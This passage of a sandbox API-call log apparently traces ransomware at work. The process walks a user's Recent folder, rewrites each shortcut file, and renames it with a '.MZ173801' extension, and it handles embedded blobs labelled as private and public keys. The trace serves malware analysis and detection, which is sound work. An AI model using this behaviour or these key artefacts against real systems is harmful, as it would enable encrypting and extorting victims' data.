lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.650] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x315 [0147.650] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.650] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x315, lpOverlapped=0x0) returned 1 [0147.651] CloseHandle (hObject=0x280) returned 1 [0147.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.652] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x315, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x315, lpOverlapped=0x0) returned 1 [0147.653] CloseHandle (hObject=0x280) returned 1 [0147.654] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk.mz173801")) returned 1 [0147.654] GetCurrentThreadId () returned 0xab4 [0147.654] GetCurrentThreadId () returned 0xab4 [0147.654] GetCurrentThreadId () returned 0xab4 [0147.654] GetCurrentThreadId () returned 0xab4 [0147.655] GetCurrentThreadId () returned 0xab4 [0147.655] GetCurrentThreadId () returned 0xab4 [0147.655] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43dcae29, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43dcae29, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x43dcae29, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Gsdux_nrV.lnk", cAlternateFileName="GSDUX_~1.LNK")) returned 1 [0147.655] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.655] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43dcae29, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x43dcae29, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x43dcae29, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x358)) returned 1 [0147.655] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk")) returned 0x20 [0147.655] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk", dwFileAttributes=0x80) returned 1 [0147.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.657] GetCurrentThreadId () returned 0xab4 [0147.657] GetCurrentThreadId () returned 0xab4 [0147.657] GetCurrentThreadId () returned 0xab4 [0147.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.658] GetCurrentThreadId () returned 0xab4 [0147.658] GetCurrentThreadId () returned 0xab4 [0147.658] GetCurrentThreadId () returned 0xab4 [0147.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.658] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.658] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x358 [0147.659] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.659] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x358, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x358, lpOverlapped=0x0) returned 1 [0147.659] CloseHandle (hObject=0x280) returned 1 [0147.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.660] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x358, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x358, lpOverlapped=0x0) returned 1 [0147.661] CloseHandle (hObject=0x280) returned 1 [0147.663] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Gsdux_nrV.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gsdux_nrv.lnk.mz173801")) returned 1 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] GetCurrentThreadId () returned 0xab4 [0147.664] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf353d724, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf353d724, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf353d724, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gypaWQDSFuYxA4ea_Oei.lnk", cAlternateFileName="GYPAWQ~1.LNK")) returned 1 [0147.664] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.664] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf353d724, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf353d724, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf353d724, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x4aa)) returned 1 [0147.664] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gypawqdsfuyxa4ea_oei.lnk")) returned 0x20 [0147.664] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gypaWQDSFuYxA4ea_Oei.lnk", dwFileAttributes=0x80) returned 1 [0147.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 